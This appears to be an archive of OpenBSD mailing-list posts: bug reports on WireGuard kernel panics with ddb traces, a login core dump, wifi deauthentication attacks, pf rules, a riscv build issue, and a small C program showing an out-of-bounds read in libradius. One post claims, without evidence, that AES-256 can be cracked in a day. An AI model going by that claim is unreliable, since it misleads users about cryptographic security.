silly me didn't collect the login.core file
Hi, Just a heads up I was working on UART console of a raspberry pi and needed to xmodem a file to it, something went wrong and it caused the session to log out. I had to relog on. Much later I saw a login.core file in /, meaning the compressed tarball, had some overflow on login(1) causing the corefile. Out of a bad habit I deleted it right away, but it wasn't there before. There may be a core condition on the console login. It may be exploitable by a badUSB device. Steps to repeat is probably just as I said, login as root and type: cd /tmp cat > src.tgz ~> # send a file and that did it. It may have been done with ~X I'm unsure. it will get kicked out to login: Best Regards, -pjp -- ** all info about me: lynx https://callpeter.tel, dig loc delphinusdns.org **
Re: WireGuard(?) issues
Martin Pieuchot writes: > The traces all point to a use-after-free in a mbuf that has been through > the wg(4) machinery. The fact that using a SP system makes the crash > disappear The crashes I see happen consistently on both SP and MP systems (vmm and not-vmm).
Re: WireGuard(?) issues
Anthony J. Bentley writes: > Vitaliy Makkoveev writes: > > This could be vio(4) bug. Please try this [1] diff. > > > > 1. https://marc.info/?l=3Dopenbsd-tech=3D171588941332420=3D2 > > I'll try the diff, but note that before I moved this setup to a VM > all these crashes were occurring on em(4). Here's the dmesg of the original machine. To be clear, crashes occurred on this machine when it was running wireguard directly; now that it runs wireguard within vmm (on the same machine), the crashes occur within the vm. OpenBSD 7.5 (GENERIC.MP) #82: Wed Mar 20 15:48:40 MDT 2024 dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 34224807936 (32639MB) avail mem = 33166123008 (31629MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 3.0 @ 0x7aeaa000 (76 entries) bios0: vendor Intel Corp. version "BNKBL357.86A.0062.2018.0222.1644" date 02/22/2018 bios0: Intel Corporation NUC7i3BNH acpi0 at bios0: ACPI 6.0 acpi0: sleep states S0 S3 S4 S5 acpi0: tables DSDT FACP APIC FPDT FIDT MCFG SSDT SSDT HPET SSDT UEFI SSDT LPIT SSDT SSDT SSDT DBGP DBG2 SSDT DMAR NHLT TPM2 SSDT WSMT acpi0: wakeup devices SIO1(S3) RP09(S4) PXSX(S4) RP10(S4) PXSX(S4) RP11(S4) PXSX(S4) RP12(S4) PXSX(S4) RP13(S4) PXSX(S4) RP02(S4) PXSX(S4) RP03(S4) PXSX(S4) RP04(S4) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Core(TM) i3-7100U CPU @ 2.40GHz, 2292.41 MHz, 06-8e-09, patch 00f4 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,TSXFA,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,RSBA,MISC_PKG_CT,ENERGY_FILT,GDS_CTRL,XSAVEOPT,XSAVEC,XGETBV1,XSAVES,MELTDOWN cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 3MB 64b/line 12-way L3 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges cpu0: apic clock running at 24MHz cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4.1.1.1, IBE cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Core(TM) i3-7100U CPU @ 2.40GHz, 2292.27 MHz, 06-8e-09, patch 00f4 cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,TSXFA,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,RSBA,MISC_PKG_CT,ENERGY_FILT,GDS_CTRL,XSAVEOPT,XSAVEC,XGETBV1,XSAVES,MELTDOWN cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 3MB 64b/line 12-way L3 cache cpu1: smt 0, core 1, package 0 cpu2 at mainbus0: apid 1 (application processor) cpu2: Intel(R) Core(TM) i3-7100U CPU @ 2.40GHz, 2294.66 MHz, 06-8e-09, patch 00f4 cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,TSXFA,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,RSBA,MISC_PKG_CT,ENERGY_FILT,GDS_CTRL,XSAVEOPT,XSAVEC,XGETBV1,XSAVES,MELTDOWN cpu2: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 3MB 64b/line 12-way L3 cache cpu2: smt 1, core 0, package 0 cpu3 at mainbus0: apid 3 (application processor) cpu3: Intel(R) Core(TM) i3-7100U CPU @ 2.40GHz, 2294.66 MHz, 06-8e-09, patch 00f4 cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,TSXFA,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,RSBA,MISC_PKG_CT,ENERGY_FILT,GDS_CTRL,XSAVEOPT,XSAVEC,XGETBV1,XSAVES,MELTDOWN cpu3: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 3MB 64b/
Re: WireGuard(?) issues
Vitaliy Makkoveev writes: > This could be vio(4) bug. Please try this [1] diff. > > 1. https://marc.info/?l=3Dopenbsd-tech=3D171588941332420=3D2 I'll try the diff, but note that before I moved this setup to a VM all these crashes were occurring on em(4).
Re: WireGuard(?) issues
Vitaliy Makkoveev writes: > > On 17 May 2024, at 12:06, Stuart Henderson = > wrote: > >=20 > > There are problems with wg(4) that people with some workloads have = > been > > seeing after upgrading past 7.3, though looking at this thread from = > when > > it last came up https://marc.info/?t=3D17094089271=3D1=3D2 I'm = > not > > sure if we'd be expecting to see trouble on non-MP=E2=80=A6 > >=20 > > We do. The problem is not MP related. > > Antony, does the diff [1] help? > > 1. https://marc.info/?l=3Dopenbsd-bugs=3D170980835807159=3D2 Crashes continue to occur with the same frequency after patching. Here are three more crashes from running with the patch. I've seen identical traces with and without the patch but these were not in my last email. kernel: page fault trap, code=0 Stopped at schedclock+0x8a:movzbl 0x344(%rax),%r13d ddb> show panic the kernel did not panic ddb> trace schedclock(8000fffeaa68) at schedclock+0x8a statclock(82529bf8,80001ca32a20,0) at statclock+0x129 clockintr_dispatch(80001ca32a20) at clockintr_dispatch+0x30d clockintr(80001ca32a20) at clockintr+0x59 intr_handler(80001ca32a20,800e6000) at intr_handler+0x3c Xintr_legacy0_untramp() at Xintr_legacy0_untramp+0x1a3 memset() at memset+0x5c end trace frame: 0x0, count: -7 ddb> ps PID TID PPIDUID S FLAGS WAIT COMMAND panic: pr_find_pagehead: mbufpl: incorrect page Stopped at db_enter+0x14: popq%rbp TIDPIDUID PRFLAGS PFLAGS CPU COMMAND db_enter() at db_enter+0x14 panic(82161d70) at panic+0xb5 pool_do_put(8260b3c0,fd8028dbf600) at pool_do_put+0x27a pool_put(8260b3c0,fd8028dbf600) at pool_put+0x53 m_free(fd8028dbf600) at m_free+0xa6 m_freem(fd8028dbf600) at m_freem+0x38 vio_txeof(80064118) at vio_txeof+0x12d vio_tx_intr(80064118) at vio_tx_intr+0x31 virtio_check_vqs(80024800) at virtio_check_vqs+0x102 virtio_pci_legacy_intr(80024800) at virtio_pci_legacy_intr+0x65 intr_handler(80001ca7e7f0,80073e00) at intr_handler+0x3c Xintr_legacy5_untramp() at Xintr_legacy5_untramp+0x1a3 memset() at memset+0x5c wg_encap_worker(807ed000) at wg_encap_worker+0x79 end trace frame: 0x80001ca7e9f0, count: 0 https://www.openbsd.org/ddb.html describes the minimum info required in bug reports. Insufficient info makes it difficult to find and fix bugs. ddb> trace db_enter() at db_enter+0x14 panic(82161d70) at panic+0xb5 pool_do_put(8260b3c0,fd8028dbf600) at pool_do_put+0x27a pool_put(8260b3c0,fd8028dbf600) at pool_put+0x53 m_free(fd8028dbf600) at m_free+0xa6 m_freem(fd8028dbf600) at m_freem+0x38 vio_txeof(80064118) at vio_txeof+0x12d vio_tx_intr(80064118) at vio_tx_intr+0x31 virtio_check_vqs(80024800) at virtio_check_vqs+0x102 virtio_pci_legacy_intr(80024800) at virtio_pci_legacy_intr+0x65 intr_handler(80001ca7e7f0,80073e00) at intr_handler+0x3c Xintr_legacy5_untramp() at Xintr_legacy5_untramp+0x1a3 memset() at memset+0x5c wg_encap_worker(807ed000) at wg_encap_worker+0x79 taskq_thread(8088ac00) at taskq_thread+0xf0 end trace frame: 0x0, count: -15 ddb> show panic *cpu0: pr_find_pagehead: mbufpl: incorrect page ddb> ps PID TID PPIDUID S FLAGS WAIT COMMAND 56587 470184 85475 0 3 0x1883 dtreadbtrace 58952 222967 0 89 3 0x19100092 kqreadrelayd 83190 101464 0 89 3 0x19100092 kqreadrelayd ddb> show registers rdi 0x4 rsi 0x14 rbp 0x80001ca7e4a0 rbx 0xfd8028dbf600 rdx0x3fd rcx 0x48000111 rax 0x30 r8 0x101010101010101 r9 0 r10 0x582c2a7821cc399f r11 0xf4834d1e02cdca10 r12 0xfd8028dbf600 r13 0x80024800 r140 r15 0x82161d70pp_r600_decoded_lanes+0xc8aa rip 0x81fa1d44db_enter+0x14 cs 0x8 rflags 0x282 rsp 0x80001ca7e4a0 ss 0x10 db_enter+0x14: popq%rbp panic: pr_find_pagehead: mbufpl: incorrect page Stopped at db_enter+0x14: popq%rbp TIDPIDUID PRFLAGS PFLAGS CPU COMMAND *225925 73351 0 0x14000 0x2000 wg_crypt db_enter() at db_enter+0x14 panic(82161d70) at panic+0xb5 pool_do_put(8260b3c0,fd8035fd9400) at pool_do_put+0x27a pool_put(8260b3c0,fd8035fd9400) at pool_put+0x53 m_free(fd8035fd9400) at m_free+0xa6 m_freem(fd8035fd9400) at m_freem+0x38 vio_txeof(80064118) at vio_txeof+0x12d
WireGuard(?) issues
Hi, This week I updated a machine from 7.3 to 7.5. Almost immediately it started panicking constantly. The machine runs a webserver on a wg(4) interface and receives a mild amount of traffic. I turned off wireguard, moved the wg config to a vmm(4) virtual machine, and immediately the host stopped crashing and the VM started crashing. The problem still occurs on -current. It reliably lands in ddb after a few hours (or, sometimes, less than a minute) of uptime. Here are four traces from -current. They all look pretty different to me, but I don't know what I'm looking at. uvm_fault(0x825bfa18, 0x344, 0, 1) -> e kernel: page fault trap, code=0 Stopped at schedcpu+0xf8: movzbl 0x344(%rax),%ebx TIDPIDUID PRFLAGS PFLAGS CPU COMMAND *400822 72372 0 0x14000 0x2000 wg_crypt schedcpu(0) at schedcpu+0xf8 softclock_process_tick_timeout(8250cc60,0) at softclock_process_tick_ti meout+0xfb softclock(0) at softclock+0x10a softintr_dispatch(0) at softintr_dispatch+0xc1 Xsoftclock() at Xsoftclock+0x27 memset() at memset+0x5c wg_encap_worker(807ee000) at wg_encap_worker+0x79 taskq_thread(807e8e80) at taskq_thread+0xf0 end trace frame: 0x0, count: 7 https://www.openbsd.org/ddb.html describes the minimum info required in bug reports. Insufficient info makes it difficult to find and fix bugs. ddb> show panic *cpu0: uvm_fault(0x825bfa18, 0x344, 0, 1) -> e ddb> trace schedcpu(0) at schedcpu+0xf8 softclock_process_tick_timeout(8250cc60,0) at softclock_process_tick_ti meout+0xfb softclock(0) at softclock+0x10a softintr_dispatch(0) at softintr_dispatch+0xc1 Xsoftclock() at Xsoftclock+0x27 memset() at memset+0x5c wg_encap_worker(807ee000) at wg_encap_worker+0x79 taskq_thread(807e8e80) at taskq_thread+0xf0 end trace frame: 0x0, count: -8 ddb> ps PID TID PPIDUID S FLAGS WAIT COMMAND 42950 295310 1 0 3 0x8100083 ttyin ksh 89976 468349 1 0 3 0x18100098 kqreadcron *72372 400822 0 0 7 0x14200wg_crypt 34099 494464 0 0 3 0x14200 bored wg_handshake 81076 468124 0 0 3 0x14200 bored wg_handshake 17034 32138 1110 3 0x18100090 kqreadsndiod 3443 18288 1 99 3 0x19100090 kqreadsndiod 39555 464562 27824 67 3 0x19100092 kqreadhttpd 40852 373284 27824 67 3 0x19100092 kqreadhttpd 9740 249651 27824 67 3 0x19100092 kqreadhttpd 22641 107130 27824 67 3 0x19100092 kqreadhttpd 27824 140918 1 0 3 0x18100080 kqreadhttpd 46973 222762 59115 95 3 0x19100092 kqreadsmtpd 34463 438292 59115103 3 0x19100092 kqreadsmtpd 93000 371803 59115 95 3 0x19100092 kqreadsmtpd 99364 301284 59115 95 3 0x18100092 kqreadsmtpd 13911 166137 59115 95 3 0x19100092 kqreadsmtpd 5160 64906 59115 95 3 0x19100092 kqreadsmtpd 59115 474304 1 0 3 0x18100080 kqreadsmtpd 75950 258004 99655 89 3 0x19100092 kqreadrelayd 39929 22451 99655 89 3 0x19100092 kqreadrelayd 60312 356080 99655 89 2 0x19100012relayd 23739 153447 99655 89 3 0x19100092 kqreadrelayd 90077 500816 99655 89 3 0x19100092 kqreadrelayd 82619 373105 99655 89 3 0x19100092 kqreadrelayd 71305 347863 1 0 3 0x18100080 kqreadntpd 34900 127546 77355 83 3 0x18100092 kqreadntpd 90622 315749 81226 74 3 0x19100092 bpf pflogd 81226 424867 1 0 3 0x1880 sbwaitpflogd 33232 160507 1 0 3 0x18100080 kqreadresolvd 9751 395040 51158 77 3 0x18100092 kqreaddhcpleased 177 216019 51158 77 3 0x18100092 kqreaddhcpleased 51158 427067 1 0 3 0x1880 kqreaddhcpleased 93566 387647 43331115 3 0x18100092 kqreadslaacd 68547 195472 43331115 3 0x18100092 kqreadslaacd 43331 513834 1 0 3 0x18100080 kqreadslaacd 16278 173604 0 0 3 0x14200 bored smr 44227 432058 0 0 3 0x14200 pgzerozerothread 64719 187250 0 0 3 0x14200 aiodoned aiodoned 44956 418653 0 0 3 0x14200 syncerupdate 43575 271961 0 0 3 0x14200 cleaner cleaner 67873 66201 0 0 3 0x14200 reaperreaper 28719 432864 0 0 3 0x14200 pgdaemon pagedaemon 8941 23373 0 0 3 0x14200 bored softnet3 36262 143146 0 0 3 0x14200 bored softnet2 37296 370864 0 0 3 0x14200 bored softnet1 19085
AES256^WAES128
Hi all, On around May first (International day of labour) I revisited some old code of mine and published it. I understand of the implications of a broken AES, but I'm an open person and I believe that we must pull out quantum resistant and classic resistant alternatives, because I have found cribs in AES. Unfortunately this will cause a hectic time I predict so bear with me. I'm sharing it with the OpenBSD community to help you get the word out on being the best OS in the globe. We all have our differences, but lets put egos aside and work together not against each other. We're facing a world that isn't so nice... I would like to propose the following code changes in rijndael as a number one: In the function rijndaelEncrypt() in the following lines: 930 s3 = 931 (Te2[(t3 >> 24) ] & 0xff00) ^ 932 (Te3[(t0 >> 16) & 0xff] & 0x00ff) ^ 933 (Te0[(t1 >> 8) & 0xff] & 0xff00) ^ 934 (Te1[(t2 ) & 0xff] & 0x00ff) ^ 935 rk[3]; 936 PUTU32(ct + 12, s3); 937 } Please consider adding a explicit_bzero() around all t* registers and stack registers. The reason for that is that this is 128 bits that can be used to crack AES256 in brute force with 2^128 instead of 2^256. I have a inverted function for the r keytables. As soon as these values are gotten the cipher key is as good as cracked. In a matter of a day, depending on your hardware speed. It can be scaled with lots and lots of computers so all secrets can be read out in real time. I have found a collision on a partial t0 value and I'm still doing research on how to crack this. However it doesn't seem impossible. Best Regards, -pjp (I love you) -- my associated domains: callpeter.tel|centroid.eu|dtschland.eu|mainrechner.de
Re: package pwsafe-0.2.0p7
Ely Castellano writes: > The program 'designed by Bruce Schneier' PasswordSafe have the port to > the OpenBSD as pwsafe (pwsafe-0.2.0p7) No, the package in OpenBSD is a different program, written by Nicholas Dade. Notice how the package description is entirely dissimilar to the Bruce Schneier program, except that they are both package managers with a similar name. https://github.com/nsd20463/pwsafe
deassoc attack, or, trapped in S_RUN forever?
Hi, I have a shortage of RJ45 adapters so I had to expose one host on wifi, for this I set up an access point of type "AVM Fritz!Box 7390" with latest firmware from last year. Soon I started facing deauth attacks from someone within my wifi cell region. Since the deauthers were spoofing my OpenBSD host to the AVM it wasn't resistant to this. So what I did was crontab (with ~) setting up a random lladdr on my OpenBSD boxes bwfm0 and resetting the interface. Worked well for a day, then the bad guy changed his attack, and made my OpenBSD SBC inoperable. I have traced some of the things he/she did and I'll try to reconstruct it. 1. I set up a wifi connection on 2.4 GHz which seemingly made the attacker annoyed. It could have been the SSID of "SUGARHILL" that really annoyed them. 2. Attacker sets up deauther on AP cuasing us to crontab random MAC's, this worked for a while. The attack was temporarily stopped. 3. Attacker sets up an IBSS node with the same SSID of "SUGARHILL". Now here is where it gets weird. I don't know if my SBC had a bssid with mac address for association set. Let's pretend this is a grey area. Attacker then proceeds to disassociate OpenBSD. 4. I reassociate because we are in the process of changing MAC address per crontab. 5. For whatever reason we join the IBSS instead of the AP. Please see A for the code analysis I did. 6. The OpenBSD is inoperable. Since I don't have UART console on it I can't reach it anymore. A powercycle may bring it back. Eventually I'll have to set up a UART for it. Code Analysis: This is the first real search in the IEEE 802.11 on OpenBSD code for me. Does a state diagram exist for this? A. ieee80211_node.c - in _node_join_bss() IBSS has higher preference on line 1333. new_state() beomes S_RUN. Important is that mgt is set to -1. B. I can't understand currently where else it would go but in state S_RUN it can parse a lot of frames and drops a lot of frames as well. I personally saw that at this point my SBC was inoperable to the wifi. Conclusions? I don't have any. I'm hoping to start some dialogue among the powers that be. It would be nice to flag off joining IBSS's when only wanting to join BSS's. But while I'm unsure it's best not to send patches. Here is the dmesg of the SBC in question: https://blog.centroid.eu/c?article=1712648412 PS: A USB-C RJ45 dongle costs 15 EUR. I may just include it in a batch when I buy from my computer and electronics supplier next. Best regards, -pjp -- my associated domains: callpeter.tel|centroid.eu|dtschland.eu|mainrechner.de
Small bug in /usr/src/distrib/riscv64/ramdisk/Makefile?
kn@: I will take a look at my earlier bug report with the RISCV disk encryption bug in the installer. Right now I have installed OpenBSD/riscv64 on my Mango Pi. Thank you very much OpenBSD! This is a great effort making this mango pi work! I found that I needed a new kernel to detect the sd/mmc tf cards. So I went about making a new ramdisk with /usr/src/distrib/riscv64/ramdisk/ I noticed that there is a problem with libstubs in this process from a "vanilla" riscv64 build box. It will error out. The work around is to go into /usr/src/distrib/special/libstubs and manually make it there, where it gets ranlib'ed. Then go back to the former path and continue making the ramdisk. Wanted to let you know this. Dmesg follows: OpenBSD 7.4-current (MANGOPI) #0: Fri Feb 16 16:32:50 CET 2024 p...@stern.delphinusdns.org:/sys/arch/riscv64/compile/MANGOPI real mem = 1073741824 (1024MB) avail mem = 1008390144 (961MB) SBI: OpenSBI v1.3, SBI Specification Version 1.0 random: good seed from bootblocks mainbus0 at root: MangoPi MQ Pro cpu0 at mainbus0: T-Head arch 0 imp 0 rv64imafdc intc0 at cpu0 cpu0: 32KB 64b/line 128-way L1 I-cache, 32KB 64b/line 256-way L1 D-cache "fit-images" at mainbus0 not configured "dcxo-clk" at mainbus0 not configured simplebus0 at mainbus0: "soc" sxipio0 at simplebus0: 88 pins sxiccmu0 at simplebus0 plic0 at simplebus0 sxitimer0 at simplebus0: 24000 kHz sxidog0 at simplebus0 com0 at simplebus0: dw16550 com0: console com1 at simplebus0: dw16550 "syscon" at simplebus0 not configured "dma-controller" at simplebus0 not configured "efuse" at simplebus0 not configured "crypto" at simplebus0 not configured "dram-controller" at simplebus0 not configured sximmc0 at simplebus0 sdmmc0 at sximmc0: 4-bit, sd high-speed, mmc high-speed, dma sximmc1 at simplebus0 sdmmc1 at sximmc1: 4-bit, sd high-speed, mmc high-speed, dma "usb" at simplebus0 not configured "phy" at simplebus0 not configured ehci0 at simplebus0 usb0 at ehci0: USB revision 2.0 uhub0 at usb0 configuration 1 interface 0 "Generic EHCI root hub" rev 2.00/1.00 addr 1 ohci0 at simplebus0: version 1.0 "clock-controller" at simplebus0 not configured "mixer" at simplebus0 not configured "mixer" at simplebus0 not configured "phy" at simplebus0 not configured "tcon-top" at simplebus0 not configured "lcd-controller" at simplebus0 not configured "lcd-controller" at simplebus0 not configured "power-controller" at simplebus0 not configured "clock-controller" at simplebus0 not configured sxirtc0 at simplebus0 sxidog1 at simplebus0 sxidog2 at simplebus0 gpio0 at sxipio0: 32 pins gpio1 at sxipio0: 32 pins gpio2 at sxipio0: 32 pins gpio3 at sxipio0: 32 pins gpio4 at sxipio0: 32 pins gpio5 at sxipio0: 32 pins gpio6 at sxipio0: 32 pins usb1 at ohci0: USB revision 1.0 uhub1 at usb1 configuration 1 interface 0 "Generic OHCI root hub" rev 1.00/1.00 addr 1 "opp-table-cpu" at mainbus0 not configured "pmu" at mainbus0 not configured "vcc" at mainbus0 not configured "vcc-3v3" at mainbus0 not configured "leds" at mainbus0 not configured "avdd2v8" at mainbus0 not configured "dvdd" at mainbus0 not configured "vdd-cpu" at mainbus0 not configured "wifi-pwrseq" at mainbus0 not configured "binman" at mainbus0 not configured scsibus0 at sdmmc0: 2 targets, initiator 0 sd0 at scsibus0 targ 1 lun 0: removable sd0: 30436MB, 512 bytes/sector, 62333952 sectors manufacturer 0x024c, product 0xd723 at sdmmc1 function 1 not configured uhub2 at uhub0 port 1 configuration 1 interface 0 "vendor 0x1a40 USB 2.0 Hub" rev 2.00/1.11 addr 2 ure0 at uhub2 port 4 configuration 1 interface 0 "Realtek USB 10/100 LAN" rev 2.10/20.00 addr 3 ure0: RTL8152 (0x4c10), address 00:e0:4c:36:00:e9 rlphy0 at ure0 phy 0: RTL8201E 10/100 PHY, rev. 2 vscsi0 at root scsibus1 at vscsi0: 256 targets softraid0 at root scsibus2 at softraid0: 256 targets root on sd0a (ff09abc802626de6.a) swap on sd0b dump on sd0b sxiccmu_d1_set_frequency: 0x0084 cpu0: clock not implemented Thanks and best regards! -pjp - Note: My signature has changed.
Re: code reading, possible derefence on non-malloced data?
I was confused, it really is an off by one (bug buster song, it's an off
by one and it ain't no fun).
Program received signal SIGSEGV, Segmentation fault.
0x0c4edab20b14 in main () at buffer.c:30
30 printf("len = %d\n", att->somelen);
Current language: auto; currently minimal
(gdb) list
Here is the test code, I do believe this is what it does also in radius.c
#include
#include
#include
#include
struct attribute {
uint8_t somevar;
uint8_t somelen;
uint32_t someothervar;
};
int
main(void)
{
char *p, *end;
int len = 4096;
struct attribute *att;
p = malloc(len);
if (p == NULL) {
perror("malloc");
exit(1);
}
end = p + len;
att = (struct attribute *)(end - 1);
printf("len = %d\n", att->somelen);
sleep(10);
return 0;
}
OK please excuse the formatting of this mail, it's written with
thunderbird and I'm not at home either.
BTW I just did an if statement instead of the printf() and it cored again:
spica$ ./buffer
Segmentation fault (core dumped)
Best regards,
-peter
On 2/10/24 10:40, Peter J. Philipp wrote:
On 2/10/24 08:38, Peter J. Philipp wrote:
Hi,
I'd like you to just quickly look at the following to files:
/usr/src/lib/libradius/radius.c
61 for (; attr < end; ATTRS_ADVANCE(attr)) {
62 if (attr->length < 2)
63 return (-1);
and it's header file
/usr/lib/lib/libradius/radius_local.h
68 #define ATTRS_NEXT(x) ((RADIUS_ATTRIBUTE*)(((char*)x) +
x->length))
69
70 /*
71 * must be expression rather than statement
72 * to be used in third expression of for statement.
73 */
74 #define ATTRS_ADVANCE(x) (x = ATTRS_NEXT(x))
If a packet manages to point beyond "end" pointer, attr->length is
accessed
right? This could result in some signal being delivered to the process?
Hi, I think I made a mistake. if attr is on (end - 1) then length is
at (end) which is still malloc'ed.
Best Regards,
-peter
--
Over thirty years experience on UNIX-like Operating Systems starting with QNX.
not sure if this is a pf bug
Hi,
I had an anchor rule and hashed everything in it out. So only the stub was
remaining. As in:
anchor "something" {
}
then I reloaded the entire pf rules. Whatever was in the anchor before was
not removed.
Best Regards,
-peter
Re: code reading, possible derefence on non-malloced data?
On 2/10/24 08:38, Peter J. Philipp wrote:
Hi,
I'd like you to just quickly look at the following to files:
/usr/src/lib/libradius/radius.c
61 for (; attr < end; ATTRS_ADVANCE(attr)) {
62 if (attr->length < 2)
63 return (-1);
and it's header file
/usr/lib/lib/libradius/radius_local.h
68 #define ATTRS_NEXT(x) ((RADIUS_ATTRIBUTE*)(((char*)x) + x->length))
69
70 /*
71 * must be expression rather than statement
72 * to be used in third expression of for statement.
73 */
74 #define ATTRS_ADVANCE(x) (x = ATTRS_NEXT(x))
If a packet manages to point beyond "end" pointer, attr->length is accessed
right? This could result in some signal being delivered to the process?
Hi, I think I made a mistake. if attr is on (end - 1) then length is at
(end) which is still malloc'ed.
Best Regards,
-peter
--
Over thirty years experience on UNIX-like Operating Systems starting with QNX.
code reading, possible derefence on non-malloced data?
Hi,
I'd like you to just quickly look at the following to files:
/usr/src/lib/libradius/radius.c
61 for (; attr < end; ATTRS_ADVANCE(attr)) {
62 if (attr->length < 2)
63 return (-1);
and it's header file
/usr/lib/lib/libradius/radius_local.h
68 #define ATTRS_NEXT(x) ((RADIUS_ATTRIBUTE*)(((char*)x) + x->length))
69
70 /*
71 * must be expression rather than statement
72 * to be used in third expression of for statement.
73 */
74 #define ATTRS_ADVANCE(x) (x = ATTRS_NEXT(x))
If a packet manages to point beyond "end" pointer, attr->length is accessed
right? This could result in some signal being delivered to the process?
Best Regards,
-peter
Re: odd pf divert-packet problem
On 2/8/24 10:18, Stuart Henderson wrote: On 2024/02/08 09:19, Peter J. Philipp wrote: On 2/7/24 20:15, Janne Johansson wrote: pass in log quick on wg1 inet proto udp from 192.168.178.1 to any port = 5060 sc rub (reassemble tcp) divert-packet port 2 The mix of udp and tcp reassembly seems interesting there. Yeah it does, but it is added on both stern (which works) and superpod (which doesn't). Since this is not such a big problem I'm gonna rest on it, and perhaps move the divert'ing entirely to stern. The reason being is that the incoming SIP packets are not fragmented, as they are not really (or ever) big enough. So my phone setup works on SDP'ing outgoing SIP packets. I think that's a red herring. "reassemble tcp" is poorly named and does not actually deal with reassembling fragmented packets, see the paragraphs following this in pf.conf(5) - reassemble tcp Statefully normalises TCP connections. reassemble tcp performs the following normalisations: the things done by "reassemble tcp" *only* apply to TCP packets. In other works there is no way to remove the reassemble tcp scrub option as it's not in my rules to begin with. It is added automatically for divert-packet rules. I would start by adding "match log(matches)" to the top of pf.conf and monitor the pflog0 interface to make sure packets are matched by the intended rules. (tcpdump -neipflog0) I immediately thought this was good advice. Also after giving my reply some time and thinking about it I think I don't need sipdiv itself on superpod. The reason being that incoming packets never were problematic, and what's coming in is coming through a wireguard from the fritzbox at my parents house, and it is leaving through wireguard to my home. Since the MTU of both wireguards is at 1420 if it goes in it must go out. I'm glad I still built sipdiv because stern is before the wireguards in my home. It requires shrinking the SIP with SDP. Thankfully the fritzboxes understand SDP, it's weird to find a knob for this (I couldn't) on FritzOS! itself. So I have a .pcap that I'd share with anyone why the early quick rule does not get called. It has to do with nat rules on the wireguard facing my parents house, they create a state and once it's there I'm reasoning that NAT states don't get diverted. I don't think there is any NAT rules on stern that are similar. Thanks and Best Regards to all who replied! -peter PS: please forgive the thunderbird formatting. I still haven't set up a way to get inbound mail into a mutt client, after setting up a mail host that 